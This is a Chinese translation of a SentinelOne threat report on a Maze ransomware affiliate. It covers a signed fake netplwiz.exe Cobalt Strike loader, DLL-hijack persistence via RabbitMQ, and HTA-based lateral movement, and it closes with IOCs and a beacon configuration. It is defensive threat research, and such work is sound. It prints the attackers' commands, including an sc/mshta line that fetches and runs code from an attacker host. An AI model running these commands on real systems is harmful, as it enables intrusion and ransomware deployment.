原文链接:https://labs.sentinelone.com/
译者:知道创宇404实验室翻译组

摘要

  • Maze勒索软件是目前在野外使用最广泛的勒索软件之一,由具有能力的参与者进行分发。
  • 我们发现了一个Maze分支机构,在交付勒索软件之前部署了量身定制的持久性方法。
  • 行动者似乎使用了被盗的证书在其信标上签名。
  • 与其他攻击一样,行动者使用HTA有效载荷作为交互式外壳,能够捕获到实时的和去模糊化的内容。

背景

Maze勒索软件在过去的大约一年时间里被广泛使用,成为全世界许多不同参与者的最终有效载荷。今年,臭名昭著的Maze运营商不仅开始通过加密文件勒索公司,而且威胁会在线发布被窃取的文件,从而勒索公司。最近,我们抓住了一个Maze会员,该会员尝试通过借由我们客户的网络进行传播。

在这篇文章中,我们分享有关该Maze会员使用方法的详细信息,以阐明他们的策略并帮助安全团队在自己的网络中寻找类似的IOC。

攻击入口点

如先前在其他Maze事件中所报告的那样,攻击者可能通过强制使用管理员的密码,使用RDP来访问面向Internet的计算机。对美国公司的攻击之一始于7月4日(星期六),选择这个日期显然是猜测许多人(尤其是安全人员)那天可能不在工作。

攻击者使用RDP连接并上传了自己信标的有效载荷,并伪装成名为netplwiz.exe的已知Microsoft二进制文件。它们的有效载荷与具有相同名称的真正二进制文件具有相同的图标和描述,并且也进行了签名,很可能带有被盗的证书。

Sysinternals的sigcheck.exe对原netplwiz.exe

c:\windows\system32\Netplwiz.exe:
        Verified:       Signed
        Signing date:   10:29 AM 6/6/2020
        Publisher:      Microsoft Windows
        Company:        Microsoft Corporation
        Description:    Advanced User Accounts Control Panel
        Product:        Microsoft? Windows? Operating System
        Prod version:   10.0.18362.1
        File version:   10.0.18362.1 (WinBuild.160101.0800)

在恶意的netplwiz.exe中,我们可以看到被盗的证书:

c:\windows\system32\Netplwiz.exe:
        Verified:       Signed
        Signing date:   10:29 AM 6/6/2020
        Publisher:      Microsoft Windows
        Company:        Microsoft Corporation
        Description:    Advanced User Accounts Control Panel
        Product:        Microsoft? Windows? Operating System
        Prod version:   10.0.18362.1
        File version:   10.0.18362.1 (WinBuild.160101.0800)

仔细查看证书:

img

该可执行文件是一个简单的打包程序,可加载Cobalt Strike信标的版本4。该打包程序非常简单,并执行以下操作:

img

解码功能如下所示:

img

我们从内存中转储信标并解析其配置

img

量身定制的持久性机制

尽管进入方法相当普遍,但攻击者在其持久性方法上显示出了极大的创造力,这些持久性方法是针对发现自己的机器量身定制的。

例如,一台主机正在运行SolarWinds Orion实例。该Orion产品使用RabbitMQ作为内部消息传递组件,并随产品一起安装。RabbitMQ用Erlang编写,因此使用Erlang运行时服务erlsrv.exe)运行。

攻击者依靠此依赖关系链在erlsrv.exe进程中生成自身并在主机上获得持久性,因为RabbitMQ服务正在运行erlsrv.exe

当攻击者将包含其 信标暂存器的两个DLL放到磁盘上,然后开始干扰RabbitMQ服务时,我们可以看到此情况:

tasklist /SVC
sc qc RabbitMQ
Uploaded: C:\Program Files (x86)\SolarWinds\Orion\Erlang\erts-7.1\bin\acluapi.dll?
Uploaded: C:\Program Files (x86)\SolarWinds\Orion\Erlang\erts-7.1\bin\version.dll
sc stop RabbitMQ
sc start RabbitMQ

被劫持的DLL是version.dll,通常是从system32文件夹加载的。通过将其放入与erlsrv.exe相同的文件夹中,它加载了他们的version.dll,并且加载包含信标的acluapi.dll

重新启动RabbitMQ服务后,钴击信标开始与netplwiz中的域通信,但这次是从erlsrv.exe和SYSTEM完整性级别进行通信。

在另一种情况下,它显示出对本地环境的类似适应性,攻击者将Java Updater定位为在计算机启动时运行,并删除了jusched.exe在启动时加载的DLL 。

安装持久性后,攻击者进行了一些域侦查,并将ngrok上传到C:\ Windows \ dwm.exe并将其用于隧道。

他们还运行了:

sc config UI0Detect start= disabled

顾名思义,UI0Detect 会检测会话0中的程序尝试与桌面进行交互并向用户发出警报。对于他们来说,禁用此服务很重要,以避免在以SYSTEM身份运行时意外弹出消息框或启动GUI应用程序时提醒用户。

HTA有效负载

当他们找到一台服务器想要横向移动时,使用了sc.exe并部署了一个工具,该工具为目标服务器提供了一个在线shell。

具体来说,他们运行了以下命令(IP更改):

sc \\ 192.168.90.90 config MiExchange binPath = “” c:\ windows \ system32 \ cmd.exe / c start mshta http://crt.officecloud [.] top / st“

他们使用mshta运行托管在其站点上的HTA有效负载。我们认为HTA是他们在远程计算机上联机工作的方式,如果他们认为值得的话,可以在部署其Cobalt Strike 信标之前在远程计算机上进行在线工作。

HTA有效负载是一种有些复杂且自动混淆的代码,我们认为它是自制的(因为我们没有找到它在线的证据)。

您可以在此处查看混淆和我们混淆后的版本。

img

主循环-编码与解码

在运行时,它首先发送计算机的一些基本信息,例如操作系统版本、路由信息、域控制器名称(如果计算机是域的成员)等等:

img

有效负载包含一个首次运行时为空的变量。在这种情况下,它使用mshta.exe从服务器运行另一个HTA ,它与自身完全相同,只是变量现在包含值“ prfx”而不是为空。

因此,它进入了从服务器运行HTA的循环。

简化的代码如下所示:

try {
    if (mainFuncStruct.emptyIfFirstRun != "prfx") {
        try {
            mainFuncStruct.funcStruct6.runMshtaFromCNC("");
        } catch (e) {
            mainFuncStruct.funcStruct6.sendErrorDataToCNC(e)
        }
        mainFuncStruct.killSelf();
    } else {
        if (mainFuncStruct.isRunningInMshta())
            LimitedRunLoop();
        else
            InfiniteRunLoop();
    }
} catch (e) {
    mainFuncStruct.funcStruct6.sendErrorDataToCNC(e);
}

有效负载很有趣,因为它具有一些独特的行为:

  1. 它既可以作为JScript文件也可以作为HTA文件运行
  2. 不从服务器接收简单的cmd.exe命令,而仅从HTA(可以自己运行cmd.exe)接收命令
  3. 每次从服务器请求时都会自动对其进行模糊处理

从狩猎角度来看,还值得注意的是,它直接运行net1.exe而不是net.exe,可能是在逃避基于EDR和基于命令行的检测方法。

结论

以上所有这些说明他们都是非常有能力的攻击者。尽管他们使用了大多数已知的方法,但也显示出一定的创造力,可以成功切轻松地破坏目标,快速地横向移动目标。但是,在未造成任何伤害之前,它们仍被SentinelOne代理捕获并缓解。

由于他们的HTA服务服务器仍处于在线状态,并且该活动仍在进行,因此我们建议安全团队检查其EDR数据或SIEM中是否存在以下IOC,并迅速缓解发现的任何IOC,以防止部署勒索软件。

IOCs

HTA有效负载服务器

crt.officecloud[.]top
crt.globalsign[.]icu
mhennigan.safedatasystems[.]com

CS信标服务器
ocspverisign [.] pw

使用的其他工具
ngrok.exe
证书签名者:“ Clubessential, LLC.”

完整的信标配置

BeaconType                       - HTTPS
Port                             - 443
SleepTime                        - 61107
MaxGetSize                       - 1048580
Jitter                           - 13
MaxDNS                           - 245
C2Server                         - pkcs.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx2BJOp7hVgTeaGFJ2FC
                                   crl.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx2BJOp7hVgTeaGFJ2FC
                                   pfx.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD2BOyl2B0LhPg9JxyQm
UserAgent                        - Microsoft-CryptoAPI/10.0
HttpPostUri                      - /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSLIycRsoI3J6zPns4K1aQgAqaqHgQUZ
HttpGet_Metadata                 - Cookie: cdn=ocsp;
                                   Cookie
HttpPost_Metadata                - Content-Type: application/ocsp-request
                                   Cookie: cdn=ocsp;
                                   u
DNS_Idle                         - 8.8.8.8
DNS_Sleep                        - 0
HttpGet_Verb                     - GET
HttpPost_Verb                    - POST
HttpPostChunk                    - 0
Spawnto_x86                      - %windir%\syswow64\werfault.exe
Spawnto_x64                      - %windir%\sysnative\wuauclt.exe
CryptoScheme                     - 0
Proxy_Behavior                   - Use IE settings
Watermark                        - 305419896
bStageCleanup                    - False
bCFGCaution                      - False
KillDate                         - 0
bProcInject_StartRWX             - True
bProcInject_UseRWX               - False
bProcInject_MinAllocSize         - 21036
ProcInject_PrependAppend_x86     - b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
                                   Empty
ProcInject_PrependAppend_x64     - b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
                                   Empty
ProcInject_Execute               - ntdll.dll:RtlUserThreadStart
                                   SetThreadContext
                                   RtlCreateUserThread
ProcInject_AllocationMethod      - VirtualAllocEx
bUsesCookies                     - True

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1294/